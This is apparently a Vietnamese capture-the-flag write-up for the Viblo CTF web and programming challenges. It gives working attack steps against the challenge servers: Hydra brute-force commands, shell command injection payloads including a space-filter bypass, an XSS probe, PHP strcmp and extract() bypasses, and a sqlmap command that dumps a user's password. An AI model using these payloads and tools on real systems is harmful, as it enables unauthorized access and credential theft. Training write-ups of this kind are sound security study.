Skip to Content

Viblo CTF Writeup

Posted on

Viblo CTF

Web

Rank E

  • Tricky Sneaky Weby - 100đ
    • Step 1: Do trong code của level1 có js auto downcase text nhập vào => Tạm tắt JS đi để nhập code SUN$HELL
    • let_go_deper: Turn of wifi => Flag{death_is_like_the_wind}. Tuy nhiên khi nhập flag vào thì lại fail. Check trong html code thì cần phải giải thêm bài ở: /is_this_the_end
    • is_this_the_end: Nhập mật khẩu bên dưới là được =))
  • Web11 - 50đ
    • Check code js thì mình thấy có đoạn request tới http://172.104.49.143:13131.php. Reload liên tục trang này thì sẽ thấy 1 ảnh khác có chứa flag.
  • Tragic pHp - 150đ
    • Check html code thấy có comment của file index.phps -> Mình mở file này thì đây đúng là source code.
    • Đọc source thì ta thấy có 1 lỗi compare, đó là dùng strcmp để so sánh 2 strings. Hàm này sẽ return 0 khi so sánh 1 string với array.
    • Thêm [] vào để có thể submit array <input type="text" name="value[]" value="">, sau đó nhập linh tinh rồi submit sẽ thấy được flag :D
  • PHP Up Right It - 50đ
    • Check tab Network trong Chrome Dev Tools thấy trang này bị redirect liên tục => Ghép phần query params lại sẽ ra Flag :D
  • Do you know Brute Force - 50đ

    • Check html mình thấy có link tới file username, password. <!-- list username and password: /us3rn4me.txt, /p4ssw0rd.txt -->
    • Nhập bừa username = 1, password = 1 để lấy params submit: username=^USER^&password=^PASS^&sbm= và error thông báo là: Invalid username or password.
    • Mình dùng Hydra để brute force (lưu ý dùng bản >= 9.2 vì có issue với bản 9.1)
    hydra -s 1556 -vVf -L /wordlists/viblo-ctf-username.txt -P /wordlists/viblo-ctf-password.txt 172.104.49.143 http-post-form "/login.php:username=^USER^&password=^PASS^&sbm=:F=Invalid username or password."
    
    • Khi chạy thì mình tìm được kết quả: [1556][http-post-form] host: 172.104.49.143 login: root password: rasengan. Tuy nhiên khi dùng để login thì ra kết quả: This is not flag: Flag{this_is_not_flag_here} =)) Mình đoán là có thể username hoặc mật khẩu đã đúng. Test thử thì chỉ cần mật khẩu là rasengan là sẽ hiển thị thông báo This is not flag. (Khi thử nếu bị bắt đợi 5 phút, bạn chỉ cần xóa cookie time=xxx đi là có thể test tiếp.
    • Dùng hydra + password rasengan + Failed message mới để lấy flag :D
    hydra -s 1556 -vVf -L /wordlists/viblo-ctf-username.txt -p rasengan 172.104.49.143 http-post-form "/login.php:username=^USER^&password=^PASS^&sbm=:F=This is not flag"
    

Rank D

  • Sun* Service - 200đ
    • Đề bài cho 1 ping service. Khi mình mở url, thấy form suggest Try Google.com. Nhập thử google.com rồi submit sẽ thấy output là kết quả của lệnh ping.
    • Đến đây thì mình nghi nó bị dính Command Line Injection. Nhập thử ;ls rồi submit thì thấy kết quả trả về có file index.php (ngon).
    • Để đọc thử nội dung file, mình nhập ;cat index.php thì chỉ nhận được Th1nk mor3 s1mpl3!.
    • Search thử 1 lúc thì thấy có bạn hướng dẫn trên Viblo cách bypass without space. Mình thử mấy cách thì thấy nhập ;cat${IFS}index.php sẽ ăn. Đọc nội dung file này sẽ lấy được Flag :D
  • It’s OT TIME - 200đ
    • Click View source code thì thấy có đoạn dùng hàm preg_replace để xóa cụm từ HomNayOT_EmNhe ra khỏi string bạn nhập vào. Sau đó check string còn lại, nếu bằng HomNayOT_EmNhe thì sẽ show flag.
    • Nhập ?magic_command=HomHomNayOT_EmNheNayOT_EmNhe vào URL là có thể lấy được Flag :D
  • Enough PHP magic - 200đ

    • Đầu tiên mình nhập thử “1” vào text field rồi submit thử, kết quả in ra bao gồm cả số mình đã nhập vào (think). Thế là mình thử <script>alert(1)</script> rối submit => Có lỗi XSS (ngon)
    • Xem qua xem lại 1 hồi, mình k biết khai thác lỗi này thế nào =)) thế là đi mò thì ra được trang /index.phps (giống với bài Tragic pHp trên). Source code:
      $filename = 'xxxxxxxx.txt';
      extract($_GET);
      if (isset($attempt)) {
          $combination = trim(file_get_contents($filename));
          if ($attempt === $combination) {
              $flag = file_get_contents('xxxxxxxx.txt');
              echo "<p>---"
    • Mình không biết code PHP, nhưng nhìn đoạn trên thì cũng hiểu được đại ý logic code. Mình đoán vấn đề nó nằm ở lỗ hổng của hàm extract hoặc hàm trim/get_file_contents. Search gg tên hàm + php vulnerability.
    • Lỗ hổng nằm ở hàm extract(), nó có thể override lại biến được khai báo trước đó. (1 bài tương tự).
    • Giờ chỉ cần truyền vào params dạng: ?attempt=&filename= - attempt là string rỗng, filename là 1 file không tồn tại là oke, ta lấy được Flag. :D
  • Login Form - 200đ

    • Vào form, check qua html thì k thấy gì đặc biệt. Mình thử nhập '1 or 1=1 vào cả username + password thì thấy show thông báo: Success! flag is password of user named "flag". => Trang bị sql injection. Lấy được DB về và check xem password của user flag là gì.
    • Dùng sqlmap để auto detect + dumpdb. Sau 1 hồi mò thì mình tìm được database là sqliexample và table là user, sau đó lấy ra password của user “flag”
    sqlmap -u http://172.104.49.143:1323/ --data="username=flag&password=1&login=" --method POST -D sqliexample --sql-query="SELECT password FROM user WHERE username='flag'"

Stego

Rank E

Misc

Rank E

Programming

Rank E

  • Guessing is not Guessing - 123đ

    • I have created a number 0 <= x <= 18446744073709551616 can you guess it? => Viết 1 chương trình, nhập vào 1 số trong khoảng trên, submit lên server, thử cho tới khi nhận được flag.
    require 'socket'
    
    client = TCPSocket.new('172.104.49.143', 9234)
    
    x = 18446744073709551616
    y = 0
    
    puts '> ' + client.recv(2048)
    puts '> ' + client.recv(2048)
    
    while true do
      temp = (x + y) / 2
      client.write(temp)
      response = client.recv(2048)
    
      puts response
      response.include?('too high') ?  x = temp : y = temp
    
      break if response.include?('Flag')
    end
    
    client.close
  • madam - 125đ

    • Nhìn đề bài dài thế thôi chứ thực ra là đi tìm 1 chuỗi mà nó đọc xuôi hoặc ngược đều như nhau. Search với từ khóa palindrome. Mình code 1 chương trình để đọc file password.txt, rồi tìm pass thỏa mãn điều kiện.
    • Tuy nhiên khi thử thì không có password nào thỏa mãn =))) Search gg 1 hồi thì nó có cái thuật ngữ subpalindrome. May quá trên stackoverflow có code luôn rồi =))
    require 'digest/sha1'
    
    def longest_palindrome(string, size)
      string.size.times do |start| # loop over the size of the string
        break if start + size > string.size # bounds check
    
        reverse = string[start, size].reverse
    
        if string.include? reverse #look for palindrome
          return reverse #return the largest palindrome
        end
      end
      longest_palindrome(string, size - 1) # Palindrome not found, lets look for the next smallest size
    end
    
    passwords = File.read('./password.txt').split("\n")
    result = []
    passwords.each { |password| result << longest_palindrome(password, password.size) }
    choosen_password = result.max_by(&:length)
    p "Flag{#{Digest::SHA1.hexdigest(choosen_password)}}"
comments powered by Disqus